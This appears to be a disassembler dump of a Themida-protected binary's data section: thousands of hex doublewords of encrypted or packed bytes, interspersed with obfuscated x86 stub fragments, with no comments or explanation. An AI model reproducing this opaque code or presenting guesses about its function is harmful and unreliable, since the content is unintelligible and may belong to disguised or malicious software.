52476C8Fh, 24AA7C4Ch, 31A1ED3Ah dd 705E686h, 7C49B49Bh, 97E2B186h, 0ABF6CDC2h, 62186891h dd 0CB9966Dh, 0F6204314h, 710FE3BCh, 4C09C6F7h, 31811562h dd 232D0E86h, 863180D6h, 2BCBEECFh, 17h, 0D6F20963h, 0B9968631h dd 0C2C512FCh, 0DDBE8631h, 0FDA820BAh, 948FFFFh, 8631CCB8h dd 2603F5A2h, 0D8E104DBh, 8A6AA253h, 0A64D14D1h, 0BD10FAD7h dd 0DA8C3D7Dh, 7A6F1CF9h, 0E4967D74h, 7FD5665h, 0C2946332h dd 714A3EEBh, 5D34294Eh, 0DADCD380h, 21C55E66h, 0B500CF7Bh dd 431E11DEh, 0B2A87D20h, 1EC926DDh, 4AD7A3FBh, 0CF000h dd 0F4C3BC00h, 91645B22h, 2F00F8BFh, 0C7A4965Dh, 63382EF5h dd 0A7EBF91h, 0A66D3F14h, 3F06D8B3h, 0D9A0724Bh, 223B0DE4h dd 41AEFBE5h, 66A78025h, 7A514668h, 8E655A2Fh, 0A0002943h dd 5C2E05FAh, 71684922h, 0DC1F7h, 9F90000h, 8631D6F2h dd 0FCFC5496h, 627CFFFFh, 947E5BC9h, 8C38E700h, 952CA482h dd 0F8F6D1C4h, 1007F053h, 2D4B6E3Dh, 0C69B913Eh, 29DF6FBCh dd 926F6180h, 24F5EDCCh, 563B8655h, 0F9ADB5A9h, 0AFF45810h dd 4EB0D3A2h, 802A57FEh, 0F11A6AD3h, 0F169EF18h, 978C1DFBh dd 0DA264CE7h, 1CD17B7h, 364F0000h, 73BE9389h, 0F617799Ch dd 8E8631CCh, 0DBEED3B1h, 39078F71h, 7FA2756Ch, 1C06C310h dd 8631A6CFh, 9FC4E7C8h, 3A01D3AAh, 11236E45h, 8631A728h dd 1DC323F2h, 0D47F5128h, 0B085D056h, 0EBF1E6BBh, 0EEF74498h dd 7EC99881h, 0DDCB5A9h, 39F94630h, 19FA8631h, 0BCB1784Ah dd 0A7889AE5h, 0BC86313Ah, 1DAF353h, 79F770D1h, 15Fh, 7A5146B1h dd 8FA5BF9Dh, 7A29FF00h, 6A7D4B1Eh, 629F82Ch, 0C2998E63h dd 0F2645F0h, 0FCE06E65h, 8EBA7B81h, 74ED6664h, 0ECBA877h dd 75986961h, 38978F13h, 0DA25068Ch, 2A8277C8h, 83E34C80h dd 6A19916Ah, 3209F1h, 62410000h, 947E5BC9h, 8C38DE78h dd 0EB382211h, 0EC802ABBh, 0DFF13C0Bh, 802ABB8Eh, 0E4AAFA63h dd 0BBF03D27h, 8E9802Ah, 56744DE5h, 0CCECF16Ah, 24000000h dd 9D7A5146h, 0D621FEF0h, 6439DCFFh, 794E996Eh, 68B59F84h dd 618631CCh, 9166B180h, 3BE8C59Ch, 28755F48h, 218631CDh dd 4F267140h, 90B39082h, 0E5646266h, 0E9DE8631h, 0BC694012h dd 0C5CEF1C6h, 24E1BEA6h, 8BC2DB46h, 9A71BC99h, 1044F9Ch dd 9F587CDEh, 60418C3Ah, 8FDCC683h, 7180285Ah, 285B3A87h dd 945A3B80h, 0AE5B90B3h, 4A11E3B8h, 31C87F54h, 83A3F807h dd 0ADFACF6h, 0B2AB0000h, 534A11E3h, 0EFE7AE80h, 93854C1Eh dd 271DE4B6h, 6DAE8052h, 5C2E03F9h, 0F5C7A295h, 8F613A2Eh dd 2AFCD3C8h, 9DEAD411h, 9680253Fh, 50465755h, 0F4CBC06Dh dd 7BC8D2A9h, 448631CCh, 6B5B25D4h, 7A5B213Eh, 1D12D9ABh dd 46BC7446h, 5A2F7A51h, 80BC8E65h, 43Bh, 12E5DC89h, 2E23F0C7h dd 601E3457h, 121219A1h, 4E094B35h, 0FF08C3Eh, 3931DEC5h dd 23461D68h, 3613111Ah, 0DD0B9B79h, 0BDE05E92h, 6592660Fh dd 254817F2h, 2C0513C3h, 51FEBB86h, 633A855Ch, 26050C59h dd 39120686h, 4D9A8473h, 46862605h, 55739665h, 0C6172974h dd 9B862604h, 0E0B9D232h, 58F7659Bh, 383h, 0CCB80990h dd 33758631h, 3B8631CDh, 9A573430h, 31CC63B0h, 93856486h dd 0C5946BB6h, 0B3836DA2h, 0B28C38CEh, 95E91AD1h, 52DFA3F5h dd 9EC08h, 0F0BFB800h, 8D60571Eh, 2BFCF4BBh, 0C3A09259h dd 5F342AF1h, 67ABB8Dh, 0A2693B10h, 3B02D4AFh, 0D59C6E47h dd 1E3709E0h, 3EAAF7E1h, 6AAB8025h, 7A51466Ch, 99C0BF9Dh dd 0A1EA1327h, 18F6DB7Eh, 634DFFADh, 8630E816h, 0D2302E0Fh dd 1F6C562Dh, 18863106h, 3C456837h, 0F03D272Fh, 0E9863105h dd 725C3908h, 8C3D8733h, 0B6613314h, 0E8D2AFB5h, 863207ADh dd 3FECC9AAh, 0C89F714Ch, 5D4210Bh, 0F4D58631h, 7466FD1h dd 73308631h, 31073C89h, 695E3D86h, 0A1704792h, 6FC9757Eh dd 8E3D69Dh, 60AA4D2Bh, 438E655Ah, 2E9C6E6Ch, 8B600326h dd 25E2BF96h, 30D5EE3Bh, 0E306E786h, 0BBAE5B40h, 9BBE95E0h dd 0AE8B9992h, 380050C4h, 0D854328Ch, 216E58A0h, 22802AA1h dd 0E3474341h, 0B394B2D5h, 0F59F11FCh, 0F43ECBA3h, 901h dd 3305D4CDh, 0D0A2756Ch, 6E401109h dd 6D8B5A7h, 0A274493Fh, 251B8FD0h, 0C4B77E50h, 5C5017E9h dd 0F5EAB183h, 0F6334C1Eh, 253DBF0Ch, 7977B880h, 7E5BC962h dd 0C8D8DAD1h, 0D87C4F54h, 19F03B0Ah, 0D805523Ch, 1DFE8630h dd 0A0DBC5FAh, 798C3D58h, 1B0EBB98h, 1856340h, 471480A2h dd 0AE759FC2h, 0C79CB1BBh, 717FE3FFh, 8D9E57A2h, 1D0A199h dd 0A9847724h, 2F64875Eh, 38779472h, 43758BDAh, 532A7550h dd 0C0FF6184h, 0C18631CDh, 4FDC95E0h, 0C20DE0D7h, 54271EEBh dd 7EBEA885h, 688C38D6h, 0C274C1ABh, 7C6E802Ah, 0B77D549Fh dd 0B495B3D6h, 0F59F1AFDh, 0FF49D6A3h, 845h, 77491811h dd 14E6B9B0h, 0B284554Dh, 4A1CF9EBh, 0E6B88D83h, 695FD314h dd 8FBC294h, 0A0945B2Dh, 392EF5C7h, 3A779062h, 253D0350h dd 0C5C30480h, 2F7A5146h, 0B18E655Ah, 0CCBD0AF4h, 0D5B68631h dd 9EF50FB2h, 225FCF1h, 7E5ABFBh, 3B3269D3h, 89AED10Ah dd 0B1EBBD94h, 0F77090D8h, 14A50h, 51468800h, 655A2F7Ah dd 1A11BC8Eh, 0C3702D0Ah, 0D7ACF7CEh, 5D3A09E4h, 31CD2673h dd 1B3E1F86h, 38E735B9h, 6C600D8Ch, 4E714893h, 895A5130h dd 1FEEBD94h, 0C7A29542h, 0DF82A57Ch, 0C1B21CFAh, 1DDD932Dh dd 9D4798FAh, 0B31C802Ah, 33613A53h, 20D9F16Ah, 11000000h dd 7E5BC962h, 38DE7894h, 0E530118Ch, 2ABB82D3h, 96EE5780h dd 6A569C75h, 0C014F1h, 464C0000h, 189E4B51h, 58E3B421h dd 30D4216Eh, 72412286h, 8D8358A3h, 341EDBB8h, 8630D3E7h dd 490FE2D9h, 0CDA24568h, 772401D8h, 0E88BAE7Fh, 75471E13h dd 27FAF19Eh, 0EF8CA204h, 91868630h, 2E3DE8BAh, 4B6F5936h dd 4A8C3A93h, 0E5CF8C69h, 80287E98h, 588DB091h, 0EEE2B5ABh dd 26F3CA15h, 0BA8C5B30h, 7128FDF3h, 0A3F7E3B0h, 0FE7DC754h dd 0CA000006h, 693002D1h, 6CD9F72h, 0A46B3D0Eh, 3C03D5B2h dd 0CD9F7146h, 4D22188Ch, 0E6C1B47Bh, 80594D14h, 1BF2E7AEh dd 9F33049h, 80253BBCh, 367E7CBDh, 80A9C858h, 0ABB7B58Ah dd 0EB0C2AC7h, 59D5AB6Fh, 4C42678Ah, 0E9DEA577h, 7B4A1D14h dd 5146F1A9h, 0FCF09D7Ah, 0DE01D823h, 9A71663Bh, 518CC8h dd 60B40000h, 0C1A3C8F2h, 1D4927E4h, 54B09C66h, 0C8976860h dd 0BE0243A5h, 22038C3Dh, 4F44F1D8h, 0A94A5578h, 645CCA61h dd 0A2714893h, 635B08C5h, 0A3704792h, 51B3D6AFh, 86323D11h dd 54320FF0h, 0C1B4CA1Ch, 0C6C49BE6h, 375AB3C8h, 434995h dd 62710000h, 947E5BC9h, 8C38EF58h, 0A5766D1Ah, 0E90CDBAEh dd 8D9FEACBh, 802A9B3Bh, 0D16BBB44h, 5D379B5Ah, 110983B6h dd 3F7B6542h, 16924003h, 0B4276335h, 30000000h, 0FF3C8973h dd 43368631h, 9EC1A268h, 5BC96288h, 4E51947Eh, 65468C3Eh dd 35AA4934h, 522B5CA4h, 0CAF164E7h, 72h, 0A2583602h, 2B4805F3h dd 0BDAEB7DAh, 9EE0CAA7h, 9B8C3E4Bh, 59E89BAh, 0E3A9F98Ah dd 1E694236h, 0B38C2447h, 2BF164E4h, 46h, 5DC96263h, 0B6969465h dd 64811D39h, 0A663400Fh, 0B2E03F9h, 3D8468A9h, 0AB88698Ch dd 683506FEh, 79509B74h, 0DAB8CD56h, 0D889B522h, 32E13344h dd 738B6D6Bh, 0EC071235h, 0E90262F3h, 0F1651A10h, 1A88h dd 7936C000h, 31CD428Fh, 3F624386h, 31E624DDh, 21FAEE86h dd 0FF191052h, 6238FFFFh, 0C17E5BC9h, 31CC8AD7h, 0B6AC8B86h dd 0BAEF12E1h, 855A50FDh, 0DE40633Ah, 8C3E4ECBh, 3E1108B5h dd 4B2A7761h, 4A2B8025h, 0DD280927h db 24h byte_595B05 db 7, 0EEh, 7Bh ; DATA XREF: Themida_:0053D828o ; Themida_:0053EB58o dd 15B1DA80h, 0BE16634Dh, 2E0F8025h, 0C9B3905Fh, 86323E89h dd 0A35CA788h, 0D5BF9C88h, 8C3DBF6Ah, 0B4613E1Fh, 6D18EABDh dd 9F8966FEh, 8632408Ch, 22CFAC8Dh, 7F83552Eh, 1E57EC63h dd 5741261Bh, 0EE0BA60Ah, 0E5321C0Bh, 0DEEE0BA5h, 67512EFDh dd 0EE0BA61Ah, 996B3A1Bh, 2906DDD2h, 65B0877Ch, 0FC86B8Eh dd 3F140A1Ch, 714E1DF4h, 12C83B87h, 0E593AF4h, 0F4AAFAC9h dd 8F5628FFh, 9277C29Bh, 0F91CEDE5h, 0BF0ADDD4h, 520858C9h dd 0EBA8855Eh, 10C7B401h, 0B1D4B5E8h, 0F5CCC087h, 8DBEFDFDh dd 0DEBA5425h, 1EEDC40Fh, 0C89F9441h, 601D02A5h, 10722976h dd 7C492AE8h, 8F66B186h, 0DF40616Ch, 3428D62Eh, 4590695Dh dd 6F50706Eh, 17726DB7h, 62BE7648h, 401560CAh, 5429744Bh dd 693E895Eh, 0E539E73h, 1337E73Fh, 28B212h, 988D5426h dd 0CE7B90C1h, 0E3BA05D6h, 603FB5C0h, 8C39F74Fh, 0F4D1C396h dd 3603D2A9h, 49206B40h, 350C0126h, 4C1D14EBh, 5E337E59h dd 6F46916Ah, 7486D1A0h, 8631CD27h, 0D48ADAA9h, 61380ADDh dd 4087BD83h, 0F81B778Dh, 0BB06DFD3h, 315E59A9h, 0B9665B86h dd 0CEA5F0C1h, 9E5CA4ABh, 0FBFFD1AAh, 86317C6Ah, 0F0CAA2E2h dd 7842F770h, 7AFFFFFFh, 0A87A5146h, 0E415ECE1h, 0E213EADFh dd 702E7695h, 5FAC967Bh, 588631CCh, 145EA877h, 0F771683Bh dd 3AB3h, 8936EB00h, 9D74BF92h, 6AFA717Ah, 4D63A38Dh, 81628C3Eh dd 174F6550h, 35E2A8F8h, 3D466940h, 6F59362Eh, 8631CD2Fh dd 3503AF7h, 48631CDh, 1E20023h, 386BB7h, 62930000h, 947E5BC9h dd 8C3E4E54h, 38235435h, 8D6459B5h, 0A1786D42h, 0B68B8156h dd 0A45AAA79h, 0B68DD8AFh, 459DE4E7h, 0DE6DA87h, 0DA4AE1EAh dd 0CCD313FDh, 0D1B28631h, 5146BF87h, 655A2F7Ah, 1A11BC8Eh dd 8B802D0Ah, 949269B4h, 571C82B5h, 0B1E60947h, 382943C7h dd 651328Ch, 2A28A3F4h, 0B70F7880h, 69BFBD96h, 3D35F1h dd 366D0000h, 0CD428F79h, 62438631h, 2F35363Fh, 0DE4C6852h dd 6C4D8C38h, 0BBBE0F21h, 0C5B8802Ah, 0D4CA9FEAh, 6CAEB4FFh dd 7BC6E7B7h, 0ED355E70h, 72D23B2Dh, 69CE8059h, 0FCF8F1h dd 46300000h, 5A2F7A51h, 6F448F64h, 7358A37Ah, 0ADF8D3C6h dd 998EB3D6h, 5C19F0C2h, 31CD2572h, 49241786h, 806127FEh dd 0D175FB5Dh, 0E8DD8631h, 4B491C13h, 0CCA98926h, 0B28F5E52h dd 442E0D05h, 8630F2F7h, 0F5400FF0h, 0FAD1FB1Eh, 3984554Dh dd 251A3F62h, 0F3095640h, 290A8630h, 0BCC842Bh, 986771D5h dd 411A0EBBh, 59FC1FF6h, 0BC998BA0h, 389902D2h, 2A14038Ch dd 802A80DDh, 5426F5D6h, 0CA7382A9h, 847E4554h, 0DB886534h dd 0F0C712E3h, 84AE98CDh, 85863439h, 241AC7A4h, 0DE0A5741h dd 2A0B8622h, 0CCC2895Bh, 0E12C05F9h, 0DDC512FCh, 0DDBE8622h dd 724F410Eh, 843FECA3h, 4CD99DFDh, 20C02h, 10DFD800h dd 0AD80773Eh, 4B1C14DBh, 0E3C0B279h, 7F544A11h, 269ADBADh dd 0C2895B30h, 5B22F4CFh, 0F5BC8E67h, 3E572900h, 36CA1701h dd 8ACB8025h, 7B50468Ch, 16EDE2A9h, 0C9628C44h, 78947E5Bh dd 118C38DEh, 1B663D32h, 182A7544h, 802ABBC7h, 0ADF8C9C1h dd 0BB91DEC8h, 0B192802Ah, 0CE19EEE4h, 9941A1A2h, 0C5E63EA7h dd 0F16A56ECh, 0FE64h, 79369C00h, 31CD428Fh, 3F624386h dd 34E251Ah, 8663382Eh, 0CC92DFC9h, 0B2938631h, 54DAEC8Fh dd 3E8631D1h, 0D9A07249h, 9C20DE4h, 0BD0AF462h, 0B68631C8h dd 3F2906D5h, 8C38F86Fh, 3B08D6Eh, 15EC370Eh, 13F1C8F2h dd 562CEFBh, 0B6456834h, 0EFC60C4h, 18131C3Fh, 0BC452F0Ch dd 0BD86345Eh, 5C52FFDCh, 3EDAA87h, 862319B6h, 1961AE98h dd 81628623h, 0F3BCABBBh, 87DBD543h, 0A46B95B8h, 1322D9AEh dd 199DFD8Eh, 10F428Ch, 0E2DB0000h, 837A4113h, 1F17DEB0h dd 0C3B57C4Eh, 574D14E6h, 9DDEB082h, 8C5E3329h, 25F7D2C5h dd 0BF916A5Eh, 5A2C03F8h, 0CD1A0441h, 0C6802535h, 58368785h dd 132BE5ACh, 0DDB8ABF2h, 0C9ECBB92h, 0FCD9AEA4h, 8BD0281Eh dd 4B6EFCC0h, 0AF8D4A21h, 3B756912h, 6EBBC576h, 6786313Dh dd 72BFA986h, 7386313Dh, 554A6F92h, 3E398670h, 593A8631h dd 3600B88Ah, 0CD428F79h, 473C8631h, 884E2570h, 0EE5DAA7h dd 0FAD1C6EBh, 2976601Dh, 2A8631CDh, 42504B49h, 74C1C2AFh dd 0E4D9AE51h, 7F743B0Dh, 9963B09Ah, 83648631h, 261BE2B4h dd 0FD94724Fh, 48DA64B7h, 0ACBE6184h, 0DF93E81Fh, 0B369B9BAh dd 4D0AE7BEh, 0CED21663h, 3A15082Ch, 715218EFh, 685D244Eh dd 7F714691h, 2DE7C5A2h, 7EA8824h, 68B59F7Ch, 612CCFA7h dd 0E5BA5D80h, 0C7CD18F1h, 4DD49A71h, 3F36031Fh, 0B039216Ch dd 9C6BA850h, 0CAA19644h, 653C31F8h, 3D01Ah, 67F80000h dd 7E4D4667h, 92695E33h, 0A57E7247h, 0B792855Ah, 0CCA1976Ch dd 0E1B6AC81h, 0F2CFC196h, 9DAD2A7h, 1FF2E9BEh, 895188D4h dd 4BD55E1h, 1000000h, 0E9835DE9h, 240C8704h, 0E289525Ch dd 4C281h, 0EA830000h, 24148704h, 241C895Ch, 286068h, 240C8900h dd 82DDBF57h, 0FB89060Ch, 83243C8Bh, 0EC8304C4h, 24248904h dd 4240481h, 59000000h, 0FA268h, 241C8900h, 0FF08418Fh dd 81592434h, 4C4h, 241C8B00h, 81E18951h, 4C1h, 4C18100h dd 87000000h, 0E95C240Ch, 0FFFBA890h, 101CA3A9h, 79EBD824h dd 9FB8AF82h, 3060C98h, 1AE0FFC5h, 8911C038h, 0F96C89CEh dd 317D2ECDh, 1C3371B5h, 5E1F1430h, 827D1F53h, 0EE473811h dd 602C9091h, 47147323h, 29398E1Eh, 0E7011987h, 8D26C3F3h dd 0C9A3F8Dh, 0CE906h, 0DAB20000h, 8E3B6BC8h, 942D3394h dd 8D8901E8h, 6071AD9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 17C35343h, 8B517285h, 700F985h, 85C75F06h dd 607101Dh, 6950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 39C35343h, 392DF69Ah, 0E486368Bh, 2E91B866h dd 330585C7h, 607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0F54DBFC3h, 69B5FF0Bh dd 29060704h, 70C059Dh, 5995FF06h, 6A060718h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 29B2C352h, 8BEFFB64h, 533A72DCh, 0D658509h, 6A5B0607h dd 6995FF00h, 8B06070Dh, 0BC48EBC0h, 8AF10547h, 7F76BAF4h dd 8905CF29h, 828D5252h, 0EFBF5DFBh, 5885250Fh, 204E7B3h dd 70CBFC3Eh, 9F232810h, 0F9BD0E60h, 50667F4Dh, 70C19CE9h dd 9ECC3576h, 0DF8B1069h, 2BFAFBB1h, 0C23B9FE4h, 60A2E4D0h dd 8B7AAA2Bh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 6F47F624h, 40ABA8F6h, 890F512Fh dd 3, 5ADEB70Fh, 1ACDBD83h, 75000607h, 35BD8309h, 60711h dd 53501974h, 0FCB8C08Bh, 89000003h, 71F7D85h, 0C09D8D06h dd 0FF0609ADh, 83585BD3h, 71135BDh, 17740006h, 0FCB85350h dd 89000003h, 71F7D85h, 0AF9D8D06h, 0FF0609AAh, 6A585BD3h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 84B4C353h, 16840Fh, 11E90000h, 1B000000h dd 0D0C1FC3Ch, 8F00A32Dh, 0FB89BCDDh, 312C7C52h, 5E9C08Bh dd 57000000h dd 4E5F00D3h, 19BDBD83h, 0F010607h, 4E84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0E2D0700Bh, 0D7DFDFBh, 81D98BA2h, 24067CF2h, 79BD8346h dd 60728h, 15850Fh, 57B70000h, 3335BD83h, 0F000607h, 6384h dd 8ED28100h, 0E97DDAACh, 3FAh, 11E9h, 0A50BDD00h, 0D2FD4EFBh dd 290B61ECh, 4C4EA8C3h, 0B63Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 9A0FDEC3h dd 6AF86Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 48591CC3h, 225D95CEh, 45826ADh, 3BB3A34Bh dd 0B834687Fh, 0BE3E32DDh, 0BFC5B61Ah, 5BCEDEEh, 0BC8B232h dd 9A67B0DDh, 4175A732h, 6DB54600h, 0BE3B6081h, 0EF3E4A34h dd 0BE3E23F2h, 7D67000Dh, 9A72A9DFh, 9A7AA147h, 0BE3E3DA5h dd 7D6F61D0h, 5C755DB3h, 792A340h, 3F3111BFh, 0BE3E200Fh dd 566BFA0Dh, 0BE3E2043h, 0D7D3A1FCh, 0B1382C4Ch, 0BE3E21E9h dd 0BE54DC34h, 0BE3DC84Bh, 0E71E200Dh, 0F2B77945h, 0FABF2467h dd 0BE272485h, 0EF7F20D0h, 107579ABh, 0B1BFF204h, 0BE3E279Eh dd 0BFB32F0Dh, 463E2086h, 3631E0C8h, 0BE3E20A5h, 8CF89AB6h dd 0EC6E709Dh, 8F31F9BEh, 0BE3E33F3h, 0D342690Dh, 693E3BB6h dd 7FC86612h, 0E80235ABh, 4EB9FDh, 0BAB77832h, 0E93E4A10h dd 0BE3E23F2h, 7D61000Dh, 9A42A9D9h, 9A7AA147h, 0BE3E3AA5h dd 7D6967D0h, 0E658D7E3h, 0B1D7176Eh, 401A6C1Bh, 8D459A6Bh dd 0A6BC2FDEh, 563E2043h, 0BE3E20B0h, 0A75FCA0Bh, 0EF5B082Ah dd 401C2B10h, 548E1450h, 0BB65D865h, 0BE3E228Ah, 566E2029h dd 0BE3E20A2h, 0E6FD78F0h, 0BA1A64E1h, 0BA1A64B5h, 0BE3E2003h dd 26FD704Dh, 0C1AACA62h, 40F8A0E4h, 0BE54282Ah, 0BE3DC883h dd 0E51E2068h, 0E2B77BF7h, 0FABF243Eh, 0BE282429h, 0ED7D2086h dd 82BC7480h, 65892FF0h, 0F6B5468Ah, 0BCBC2F94h, 353E2034h dd 0BE3F98CDh, 0EECB200Dh, 0BE3E2E6Eh, 0FBA8BF43h, 9260FE43h dd 0CD52EE6Bh, 0E5E3EC8Ah, 0D41A2CBDh, 0BDD6721Ah, 9E3E200Dh dd 3764E3DCh, 3F3A0417h, 0A93A04E5h, 0FC3E20D0h, 7C69E33Ah dd 558DC60h, 0F68D7BAFh, 0D4E7AC6Bh, 0BDD67786h, 9E3E2043h dd 3761E3FEh, 3F3A04ACh, 0A63A042Ch, 0F93E2034h, 79D2E34Dh dd 57B00C2Eh, 0BE3E208Ah, 1B47F4F0h, 9A570A50h, 0AE62DBF3h dd 0B13AE19Eh, 0BE3F0FB1h, 0C7F4A11Ah, 0E74F7D8Fh, 566D20ECh dd 0BE3E2040h, 0E5FD7B81h, 0BA1A7C59h, 0BA1A64E9h, 0BE3E202Eh dd 89FD7359h, 0EE17865Ch, 0B0D7C154h, 0D3E2043h, 716CF457h dd 95A71664h, 818C255h, 0B6B62F4Eh, 0B13E201Ah, 0BE3E2286h dd 3E657386h, 3B31487Ah, 0BE3E2190h, 566B20BAh, 0BE3E206Bh dd 0E3FD7D14h, 0BA1A4C93h, 0BA1A648Ch, 0BE3E209Bh, 0F9FD7506h dd 0BBEACF9Fh, 0D02814B0h, 0B3779B96h, 30311F36h, 0BE3E2018h dd 0C7B5D087h, 0EE3E4A87h, 0BE3E23ABh, 7D6600A1h, 9A7AA988h dd 9A7AA16Ch, 0BE3E3730h, 7D6E601Ah, 50BC7E11h, 0ECDCA1E0h dd 0BEC1A187h, 0B1BE20A1h, 0BE3EEC52h, 0EC3E4A68h, 0BE3E23DCh dd 7D64001Ah, 9A6AA957h, 9A7AA182h, 0BE3E3647h, 7D6C62A1h dd 57E21F22h, 0BE3E207Bh, 0ADC286DEh, 82516DF3h, 0FC624DFDh dd 5518618Bh, 3EC97F7Ch, 458FC47h, 3BF9907Ah, 0B832BBABh dd 0BE3E2035h, 19D7F991h, 0D43E200Dh, 0BDD67186h, 9E3E2043h dd 3767E3F8h, 3F3A049Ch, 0A73A042Ch, 0FF3E2034h, 86EDE34Bh dd 6114B73Fh, 0BE3E786Fh, 0E4C27643h, 0BE35C9F8h, 281120D0h dd 8565CABDh, 3B5BEAAh, 0C7BD46CEh, 3A31DF06h, 0BE3E20BFh dd 0BE3DA14Ch, 355820A1h, 6EB54609h, 25FDA5AFh, 0BE3F2638h dd 0BE54201Ah, 0BE3DC85Eh, 0E51E2086h, 0E2B77B80h, 0FABF2485h dd 0BE2524F4h, 0ED7D2068h, 238C40F7h, 52E95552h, 0BE546839h dd 0BE3DC8D1h, 0E11E2043h, 0C2B77F62h, 0FABF24F4h, 0BE24244Ch dd 0E9792034h, 3CEF59D9h, 0F7099A9Ah, 558F90Ch, 0CB87F057h dd 334261B3h, 0B29FE555h, 7D83AD6Eh, 85382CABh, 8E3954E2h dd 0F9F7F102h, 0BE54D56Dh, 0BE3DC815h, 0E01E20A1h, 0CAB77E13h dd 0FABF244Ch, 0BE232410h, 0E878201Ah, 6CD901CEh, 0B99784F8h dd 0EC09CE80h, 0B7D77A54h, 3E3E20D0h, 16337371h, 4A84225Ch dd 566B2070h, 0BE3E200Eh, 0E3FD7DA6h, 0BA1A4CCAh, 0BA1A6420h dd 0BE3E20C9h, 63FD752Dh, 0ED668522h, 0BDB52FD8h, 3E3E200Dh dd 3BDEA50h, 0B83939FEh, 0CCBA2FA0h, 0D43E20D0h, 0BDD67168h dd 9E3E2034h, 3767E343h, 3F3A0441h, 0A53A04C2h, 0FF3E2043h dd 0F003E3F0h, 0BB97829Fh, 3558118Bh, 0C783A3E7h, 0BE382732h dd 0BE01A502h, 0DE692086h, 3A1ED1C2h, 35582B63h, 3D644103h dd 0B90D15D5h, 3A312032h, 0BE3E2054h, 566C2067h, 0BE3E2085h dd 0E4FD7A63h, 0BA1A7428h, 0BA1A6451h, 0BE3E2074h, 0C5FD7276h dd 7F30FCFDh, 9A95FCFFh, 0BEF1C97Eh, 565E2043h, 0BE3E20B2h dd 0FFD131C9h, 40474F58h, 0FD1F0FE3h, 0EFEC40A9h, 3590B476h dd 3F317A5Ch, 0BE3E2042h, 3BD4154h, 0B839396Dh, 0C7BB2F69h dd 343E2034h, 0BE547DE6h, 0BE3DC85Eh, 0E51E2086h, 0E2B77B80h dd 0FABF2485h, 0BE2A24F4h, 0ED7D2068h, 6DB5C4F7h, 7DEEAB7Ch dd 0BE3E2CE5h, 2162B886h, 0CB6F6460h, 0A7F6D897h, 0E4CEAA5Bh dd 0BE3E4081h, 0EB3E4A34h, 0BE3E23F2h, 7D63000Dh, 9A52A9DBh dd 9A7AA147h, 0BE3E3CA5h, 7D6B65D0h, 9AF83EF9h, 39126AB2h dd 0BE2EC900h, 6DA5200Dh, 0A82D9342h, 7E3C9E00h, 97D5C88Fh dd 64B527B3h, 466D4035h, 0DFE0AB6Ah, 0BE32C8D5h, 60DF200Dh dd 4E3E3E05h, 6A338722h, 0BBD760C2h, 853E20D0h, 17A271E5h dd 0BB83AD6Eh, 33382C86h, 0B29FB280h, 0E2239880h, 3B0D5B79h dd 0B83920ACh, 57FFEFFBh, 61B3CB87h, 0E5553342h, 0AD6EB29Fh dd 2CAB7D83h, 54E28538h, 0F1028E39h, 5E983F7h, 0BD83A4F3h dd 60C9BC3h, 8D0D7400h, 74B9B8Dh, 1B806h, 0E1FF0000h, 50006A40h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 999A8A77h, 8AAF7307h, 68B0FF5h, 81000000h, 0A64C4C3h dd 57006A47h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 8CB8AB20h, 2B97C9E8h, 7CB75583h, 6A2DE883h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 9160C355h, 2F00BA2h, 6DD680F2h, 13E9C08Bh dd 67000000h, 0AA3E88B8h, 0E41DA19Fh, 2A50059h, 4C60ED55h dd 0BD839909h, 6071ACDh, 83097500h, 71135BDh, 19740006h dd 0C08B5350h, 3FCB8h, 81858900h, 8D06072Fh, 9AE279Dh dd 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 3FCB8h, 81858900h dd 8D06072Fh, 9AAC89Dh, 5BD3FF06h, 4B49BA58h, 820F7643h dd 4, 443ABA66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 58C35646h, 8DC08B09h, 0CA3B18Dh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 57863B23h, 38E0FB9h, 0F000000h, 5651FEB7h, 5E5F6DB3h dd 1AD98D89h, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0DD2A6DC3h, 0E6D3FD29h, 101D85C7h dd 6D900607h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0EEA4C5C3h dd 1E1D958Bh, 85C70607h, 6073305h, 0 dd 0F303C881h, 0B5FF38E6h, 6072D31h, 0E23BEA81h, 95FF6F70h dd 6071859h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 8CC35747h, 8B650AB1h, 727F985h, 0FF006A06h, 70D6995h dd 0EBC08B06h, 0A9B11D0Ah, 0E1BB654Ah, 0EB77AD4Ah, 2F5BF08h dd 0E7339C6Dh, 0CE0E977h, 51680000h, 0E9060CA5h, 0FFFAD9ABh dd 0CA67368h, 0D9A1E906h, 0F68FFFAh, 0E9060CA8h, 0FFFAD997h dd 0CA93668h, 0D98DE906h, 9868FFFAh, 0E9060CAAh, 0FFFAD983h dd 0CACB868h, 0D979E906h, 6068FFFAh, 0E9060CAEh, 0FFFAD96Fh dd 0CAF6868h, 0D965E906h, 0DC0DFFFAh, 0E10DB449h, 0DC0AB146h dd 0D605AC41h, 0CCFFA63Bh, 0F109A439h, 0DD720336h, 0D76C0936h dd 0CE63FE30h, 0CB60F727h, 31A290FEh, 7C43974Eh, 0FC2C9365h dd 0B3BC269h, 0CB3527Eh, 933BB3ABh, 8627D5F7h, 0FF8750E5h dd 0D9837107h, 9447A2D8h, 0E14E1AC1h, 0E439CA8h, 